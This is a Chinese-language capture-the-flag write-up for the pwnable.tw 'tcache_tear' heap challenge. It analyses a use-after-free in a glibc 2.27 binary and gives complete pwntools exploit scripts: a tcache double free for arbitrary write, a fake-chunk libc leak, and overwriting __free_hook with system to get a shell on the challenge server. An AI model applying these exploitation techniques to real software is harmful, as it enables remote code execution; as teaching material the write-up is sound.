漏洞点是:存在悬空指针,并且可以被使用,即UAF。其使用的方式是可以继续free。
利用方式:题目的libc版本为2.27,支持tcache。所以可以利用悬空指针对放入tcache中的堆块再次free,即tcache dup实现任意地址写。再通过任意地址写,构造题目本身可读的一块内存为size大于tcache的fake chunk,然后free,使其进入unsorted bin,读取其内容即可泄露libc基址。进而再次利用任意地址写修改libc中可用的函数指针,最终getshell。
参考
检查
➜ file tcache_tear
tcache_tear: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a273b72984b37439fd6e9a64e86d1c2131948f32, stripped
➜ checksec tcache_tear
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
64位动态链接,去了符号表,GOT不可写。给了libc,检查其版本:
➜ strings libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so | grep GNU
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Compiled by GNU CC version 7.3.0.
libc版本为2.27,加上题目名字为tcache,所以我们需要在本地使用libc2.27的ubuntu18.04来进行题目的调试,经过对比:
➜ diff ./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so /lib/x86_64-linux-gnu/libc-2.27.so
这里我们发现题目给的libc和我们本机18.04的libc完全相同,所以可以直接分析啦。
分析
运行发现是首先是输入一个名字,然后还是菜单,malloc,free和info,不过free并没有指定目标序号,还是IDA直接进行分析。这里注意,IDA分析出的main函数,并不意味着main这个函数符号没被去掉,可以发现gdb并无法对main函数打断,所以IDA分析出的main函数是从libc_start_main的参数推算出来的。分析后对以下函数重命名:
sub_400948 -> init_
sub_400A25 -> read_string
sub_400A9C -> menu
sub_4009C4 -> read_num
sub_400B99 -> info
sub_400B14 -> add
unk_602060 -> name
main
改名后主函数如下,可见程序会先读取用户输入最长0x20的字符串放到bss段,然后进入主循环,发现:
- info是打印name的那个bss字段,固定输出0x20个字节
- free函数的参数是一个固定在bss段的全局变量,而且free后没清零
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rax
unsigned int v4; // [rsp+Ch] [rbp-4h]
init_();
printf("Name:", a2);
read_string((__int64)&name, 0x20u);
v4 = 0;
while ( 1 )
{
while ( 1 )
{
menu();
v3 = read_num();
if ( v3 != 2 )
break;
if ( v4 <= 7 )
{
free(ptr);
++v4;
}
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
info();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_14:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_14;
add();
}
}
}
add
然后就add函数还有点内容了,可以任意申请大小小于0xff的堆块并填写内容,然后返回堆块地址到ptr这个bss段的全局变量上。所以可以发现,ptr这个变量只能保存最后一个申请的堆块的地址,即每当malloc被调用,ptr这个位置就会被写入新分配堆块的地址。
int add()
{
unsigned __int64 v0; // rax
int size; // [rsp+8h] [rbp-8h]
printf("Size:");
v0 = read_num();
size = v0;
if ( v0 <= 0xFF )
{
ptr = malloc(v0);
printf("Data:");
read_string((__int64)ptr, size - 16);
LODWORD(v0) = puts("Done !");
}
return v0;
}
漏洞点
这个题目的第一个漏洞点:在free后,没有对指针进行清零,导致存在悬空指针。一个堆块可以free多次,存在UAF。
if ( v4 <= 7 )
{
free(ptr);
++v4;
}
第二个漏洞点:在add函数中,malloc后使用read_string函数进行输入的参数为size - 16
,如果size为小于16的正数,得到的结果被转换为无符号整数参数就可以读入大于堆块size的数据,导致堆溢出:
v0 = read_num();
size = v0;
if ( v0 <= 0xFF )
{
ptr = malloc(v0);
printf("Data:");
read_string((__int64)ptr, size - 16);
LODWORD(v0) = puts("Done !");
}
不过第二个漏洞点在以下的解法中没有用到,可以进行如下调试以确定这个堆溢出:
➜ gdb -q ./tcache_tear
GEF for linux ready, type `gef' to start, `gef config' to configure
75 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6
[*] 5 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./tcache_tear...(no debugging symbols found)...done.
gef➤ r
Starting program: /mnt/hgfs/pwn/pwnable/TcacheTear/tcache_tear
Name:123
$$$$$$$$$$$$$$$$$$$$$$$
Tcache tear
$$$$$$$$$$$$$$$$$$$$$$$
1. Malloc
2. Free
3. Info
4. Exit
$$$$$$$$$$$$$$$$$$$$$$$
Your choice :1
Size:1
Data:1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
Done !
$$$$$$$$$$$$$$$$$$$$$$$
Tcache tear
$$$$$$$$$$$$$$$$$$$$$$$
1. Malloc
2. Free
3. Info
4. Exit
$$$$$$$$$$$$$$$$$$$$$$$
Your choice :^C
Program received signal SIGINT, Interrupt.
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0xfffffffffffffe00
$rbx : 0x0
$rcx : 0x00007ffff7b16e69 → 0x0777fffff0003d48 ("H="?)
$rdx : 0x17
$rsp : 0x00007fffffffdea8 → 0x00000000004009fb → lea rax, [rbp-0x20]
$rbp : 0x00007fffffffdee0 → 0x00007fffffffdf00 → 0x0000000000400c90 → push r15
$rsi : 0x00007fffffffdec0 → 0x00007fffffffdee0 → 0x00007fffffffdf00 → 0x0000000000400c90 → push r15
$rdi : 0x0
$rip : 0x00007ffff7b16e69 → 0x0777fffff0003d48 ("H="?)
$r8 : 0xd
$r9 : 0x0
$r10 : 0x0000000000603010 → 0x0000000000000000
$r11 : 0x246
$r12 : 0x0000000000400840 → xor ebp, ebp
$r13 : 0x00007fffffffdfe0 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdea8│+0x0000: 0x00000000004009fb → lea rax, [rbp-0x20] ← $rsp
0x00007fffffffdeb0│+0x0008: 0x00007fffffffdee0 → 0x00007fffffffdf00 → 0x0000000000400c90 → push r15
0x00007fffffffdeb8│+0x0010: 0x0000000000000000
0x00007fffffffdec0│+0x0018: 0x00007fffffffdee0 → 0x00007fffffffdf00 → 0x0000000000400c90 → push r15 ← $rsi
0x00007fffffffdec8│+0x0020: 0x0000000000400840 → xor ebp, ebp
0x00007fffffffded0│+0x0028: 0x00007fffffffdfe0 → 0x0000000000000001
0x00007fffffffded8│+0x0030: 0xd1416895c4898a00
0x00007fffffffdee0│+0x0038: 0x00007fffffffdf00 → 0x0000000000400c90 → push r15 ← $rbp
─────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7ffff7b16e62 <__read_chk+2> retf 0x2777
0x7ffff7b16e65 <__read_chk+5> xor eax, eax
0x7ffff7b16e67 <__read_chk+7> syscall
→ 0x7ffff7b16e69 <__read_chk+9> cmp rax, 0xfffffffffffff000
0x7ffff7b16e6f <__read_chk+15> ja 0x7ffff7b16e78 <__read_chk+24>
0x7ffff7b16e71 <__read_chk+17> repz ret
0x7ffff7b16e73 <__read_chk+19> nop DWORD PTR [rax+rax*1+0x0]
0x7ffff7b16e78 <__read_chk+24> mov rdx, QWORD PTR [rip+0x2b7fe9]
0x7ffff7b16e7f <__read_chk+31> neg eax
─────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "tcache_tear", stopped 0x7ffff7b16e69 in __read_chk (), reason: SIGINT
───────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7b16e69 → __read_chk(fd=0x0, buf=0x7fffffffdec0, nbytes=0x17, buflen=<optimized out>)
[#1] 0x4009fb → lea rax, [rbp-0x20]
[#2] 0x400c16 → cmp rax, 0x2
[#3] 0x7ffff7a05b97 → __libc_start_main(main=0x400bc7, argc=0x1, argv=0x7fffffffdfe8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdfd8)
[#4] 0x40086a → hlt
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x00007ffff7b16e69 in __read_chk (fd=0x0, buf=0x7fffffffdec0, nbytes=0x17, buflen=<optimized out>) at read_chk.c:33
33 read_chk.c: No such file or directory.
gef➤ heap chunks
Chunk(addr=0x603010, size=0x250, flags=PREV_INUSE)
[0x0000000000603010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x603260, size=0x20, flags=PREV_INUSE)
[0x0000000000603260 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111]
Chunk(addr=0x603280, size=0x3131313131313130, flags=PREV_INUSE) ← top chunk
gef➤
可见,top chunk的size的确被覆盖了。
利用
利用首先需要了解tcache的基本知识,简单的来说,tcache就是为了追求效率,实现的一个更简单,更没啥校验,更大的fastbin。以下为ctf-wiki的参考文章:
tcache dup构造任意地址写
本题中,我们可以对同一个堆块free两次,在fastbin attack中这事叫double free,不过在fastbin中是有限制的,我们不能直接对一个堆块连续free两次。但是在libc2.27的tcache机制中是可以的,所以我们在构造fastbin的double free的完成任意地址写任意数据的序列,如在Write Some Paper (大小姐教我入门堆)中的利用序列:
a = malloc(0x20)
b = malloc(0x20)
free(a);
free(b);
free(a);
malloc(0x20,addr)
malloc(0x20)
malloc(0x20)
malloc(0x20,data)
就可以简化为:
a = malloc(0x20);
free(a);
free(a);
malloc(0x20,addr)
malloc(0x20)
malloc(0x20,data)
故尝试如下,利用tcache dup去修改我们初始的名字:
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF("./tcache_tear")
io = process(myelf.path)
sla = lambda delim,data : io.sendlineafter(delim,data)
init = lambda name : sla("Name:",name)
malloc = lambda size,data : (sla("choice :","1"),sla("Size:",str(size)),sla("Data:",data))
free = lambda : sla("choice :","2")
info = lambda : sla("choice :","3")
# use tcache dup to arbitrary address write
def aaw(len,addr,data):
malloc(len,'a')
free()
free()
malloc(len,p64(addr))
malloc(len,'a')
malloc(len,data)
# use aaw to modify name
name_bss = 0x602060
init('xuan')
aaw(0x50,name_bss,'admin')
info()
io.interactive()
这里调用aaw时,第一个参数为使用的tcache的哪条链,调用时如果重复使用一条链将会出错,原因参考:ama2in9的wp:Tcache Tear,所以这里我们其实只能任意地址写17次,即申请小于0xff的堆块,只能占用17条tcache的链。运行脚本可以发现已经打印出了admin,为我们修改后的名字,证明了我们已经实现了任意地址写任意值。到这里,攻击者已经拿到了一个很强的能力,接下来就是要找到能控制程序流的内存数据,然后修改掉。我们一般有如下选择:
- 程序自己实现的函数指针
- GOT表
- fini_array段函数指针
- libc中的函数指针
不过我们发现:
- 程序自己没有什么函数指针
- GOT表不可写
- main函数是个死循环,不会返回到libc_start_main,进而执行到fini_array段注册的函数
故只好泄露libc基址,进而去修改libc中可以被调用的函数指针
构造伪堆块泄露libc
tcache泄露libc常规办法
我们现在有任意地址写的能力,但是我们读的能力比较差。本题除了任意地址写,我们还有最开始获得这个能力的初始能力,即对堆块的一系列操作。所以我们可以结合这两个能力,完成libc的泄露。思路和hacknote那题很像,libc的地址信息可以通过堆管理器的双向链表的机制进行泄露,我们只要把堆块想办法搞到unsorted bin这种双向链表里,在想办法读到堆块的数据即可。绕过tcache使得堆块free后进入unsorted bin的方式通常有两种:
- 每个tcache链上默认最多包含7个块,再次free这个大小的堆块将会进入其他bin中,例如tcache_attack/libc-leak
- 默认情况下,tcache中的单链表个数是64个,64位下可容纳的最大内存块大小是1032(0x408),故只要申请一个size大于0x408的堆块,然后free即可
但是本题均无法直接做到:
- 在free处做了限制,最多free七次,无法填满tcache的一条单链
- 在add函数中,无法申请大于0xff的堆块
house of spirit
不过以上两种办法均需要对free后的堆块进行读取,而本题中我们只能读取到bss段的name部分,所以想到:
- 利用任意地址写,在bss段构造大小超出0x408的伪堆块
- 然后free掉,使其进入unsorted bin中
- 利用info函数,读取其内容即可
这个构造伪堆块然后free的思路就叫:house of spirit,不过这个一般利用在,free前我们能控制部分关键的内存并可以构造伪堆块,free后接着malloc进行完整堆块内存的控制,目的一般是扩大内存控制范围。
本题情景略有不同,我们已经拥有了任意地址写的能力,我们是借助任意地址写构造伪堆块,大小超过tcache容纳范围,使其在free时绕过tcache机制直接进入unsorted bin,然后读取。但如何构造一个堆块才能使其free后进入unsorted bin呢?除了要伪造的size要大于0x408,并且伪堆块后面的数据也要满足基本的堆块格式,而且至少两块。因为在free时,会对当前的堆块后面的堆块进行一系列检查:
https://github.com/lattera/glibc/blob/master/malloc/malloc.c
// 在 _int_free 函数中
if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
可以看到free函数对当前的堆块的nextchunk也进行了相应的检查,并且还检查了nextchunk的inuse位,这一位的信息在nextchunk的nextchunk中,所以在这里我们总共要伪造三个堆块。第一个堆块我们构造大小为0x500,第二个和第三个分别构造为0x20大小的堆块,这些堆块的标记位,均为只置prev_inuse为1,使得free不去进行合并操作。如图:
bss
name +------------> +--------+ +------------+
| 0 |
+--------+
| 0x501 |
ptr +------------> +--------+
| |
free(ptr); | |
| | fake chunk 1
| |
| |
| |
| |
| |
| |
name + 0x500 +----> +--------+ +------------+
| 0 |
+--------+
| 0x21 |
+--------+ fake chunk 2
| 0 |
+--------+
| 0 |
+--------+ +------------+
| 0 |
+--------+
| 0x21 |
+--------+ fake chunk 3
| 0 |
+--------+
| 0 |
+--------+ +------------+
而且我们最后free的时候需要的指针是name+0x10位置处的数据部分指针,这样才能正确的free掉这个堆块,所以我们使用如下策略(当然还可以使用其他策略):
- 在最开始输入name时,直接构造好chunk1的前16个字节
- 然后利用任意地址写构造name+0x500的后两个伪堆块
- 再次利用任意地址写,向name+0x10写任意数据,目的是执行完最后一个malloc,ptr全局变量会被更新为name+0x10
- free即可将这个堆块送入unsorted bin中
- 使用info函数读取name前0x20字节的内容,即可泄露unsorted bin地址
- 经过本地调试unsorted bin距离libc基址的偏移为0x3ebca0
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF("./tcache_tear")
io = process(myelf.path)
sla = lambda delim,data : io.sendlineafter(delim,data)
init = lambda name : sla("Name:",name)
malloc = lambda size,data : (sla("choice :","1"),sla("Size:",str(size)),sla("Data:",data))
free = lambda : sla("choice :","2")
info = lambda : sla("choice :","3")
# use tcache dup to arbitrary address write
def aaw(len,addr,data):
malloc(len,'a')
free()
free()
malloc(len,p64(addr))
malloc(len,'a')
malloc(len,data)
# use aaw to make a fake chunk in bss, and free it to unsorted bin (tcache house of spirit)
name_bss = 0x602060
init(p64(0)+p64(0x501))
aaw(0x50,name_bss+0x500,(p64(0)+p64(0x21)+p64(0)*2)*2)
aaw(0x60,name_bss+0x10,'a')
free()
# use unsorted bin chunk to leak libc
info()
io.recvuntil("Name :"); io.recv(0x10)
libc_addr = u64(io.recv(8)) - 0x3ebca0
log.warn("libc:0x%x"%libc_addr)
io.interactive()
这里采用:io.recvuntil("Name :"); io.recv(0x10)
,而不直接采用:io.recv(0x16)
的原因是,Name :
这6个字符和后面的内容是两条语句打印,在远程攻击的时候可能会出现数据先后到达延迟的io问题。至此我们已经成功的泄露libc基址,可以自行gdb调试对比vmmap中的libc基址进行检查。
控制流劫持
libc中有很多可以利用的函数指针,比如在清华校赛THUCTF2019 之 warmup题目中,就可以间接的去控制fork函数中的一个函数指针从而控制流劫持。在堆的题目中常用的函数是__free_hook和__malloc_hook,这俩函数名为啥这么奇怪呢?我们还要从malloc和free的实现说起:
libc中的钩子函数
在malloc和free的函数的开始部分,都会去判断是否有相应的钩子函数:
// wapper for int_malloc
void *__libc_malloc(size_t bytes) {
mstate ar_ptr;
void * victim;
// 检查是否有内存分配钩子,如果有,调用钩子并返回.
void *(*hook)(size_t, const void *) = atomic_forced_read(__malloc_hook);
if (__builtin_expect(hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS(0));
...
}
// wapper for int_free
void __libc_free(void *mem) {
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
// 判断是否有钩子函数 __free_hook
void (*hook)(void *, const void *) = atomic_forced_read(__free_hook);
if (__builtin_expect(hook != NULL, 0)) {
(*hook)(mem, RETURN_ADDRESS(0));
return;
}
...
}
这是用来方便用户自定义自己的malloc和free函数,用法参考:malloc hook初探:
void (*__malloc_initialize_hook) (void) = my_init_hook;
__malloc_hook = my_malloc_hook;
__free_hook = my_free_hook;
直接利用这种赋值语句,就可以直接给libc中的对应变量赋值,因为这几个符号都是libc所导出的。看到这我突然明白一点,使用动态库的方式不仅仅是可以调用函数,还可以直接对其中暴露出来的变量进行赋值。即动态库除了给我们暴露出函数接口以外还可以暴露出变量接口。当然我认为这个用途一般并不是让用户自己去重写malloc和free,而是让用户能在malloc和free前自动的做一些事情,以便于进行一些测试什么的。那还有没有其他的hook函数呢?
➜ strings libc2.27.so | grep hook
__malloc_initialize_hook
_dl_open_hook
argp_program_version_hook
__after_morecore_hook
__memalign_hook
__malloc_hook
__free_hook
_dl_open_hook2
__realloc_hook
这些可能都是未来的利用目标呀!
利用__free_hook
本题我们利用__free_hook来完成控制流劫持,因为我们可以执行free函数,即可以触发到相应的函数指针,并且方便控制参数:
if ( v4 <= 7 )
{
free(ptr);
++v4;
}
ptr参数可以通过malloc直接控制,所以接下来有两种方法:
- 直接劫持__free_hook到one_gadget
- 劫持__free_hook到system函数,并再次malloc控制ptr指向
/bin/sh
等字符串
找到以下one_gadget地址,测试第二个可用:
➜ one_gadget libc2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
完整exp
最终完整exp采用第二种方法劫持控制流:
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
mylibc = ELF("./libc2.27.so")
io = remote("chall.pwnable.tw",10207)
sla = lambda delim,data : io.sendlineafter(delim,data)
init = lambda name : sla("Name:",name)
malloc = lambda size,data : (sla("choice :","1"),sla("Size:",str(size)),sla("Data:",data))
free = lambda : sla("choice :","2")
info = lambda : sla("choice :","3")
# use tcache dup to arbitrary address write
def aaw(len,addr,data):
malloc(len,'a')
free()
free()
malloc(len,p64(addr))
malloc(len,'a')
malloc(len,data)
# use aaw to make a fake chunk in bss, and free it to unsorted bin (tcache house of spirit)
name_bss = 0x602060
init(p64(0)+p64(0x501))
aaw(0x50,name_bss+0x500,(p64(0)+p64(0x21)+p64(0)*2)*2)
aaw(0x60,name_bss+0x10,'a')
free()
# use unsorted bin chunk to leak libc
info()
io.recvuntil("Name :");io.recv(0x10)
libc_addr = u64(io.recv(8)) - 0x3ebca0
free_hook = libc_addr + mylibc.symbols['__free_hook']
system = libc_addr + mylibc.symbols['system']
# use aaw to modify __free_hook to system
aaw(0x70,free_hook,p64(system))
malloc(0x80,"$0\x00")
# call free to getshell
free()
io.interactive()
思考
如果把这到题目放在2.23版本的libc下应该怎么做呢?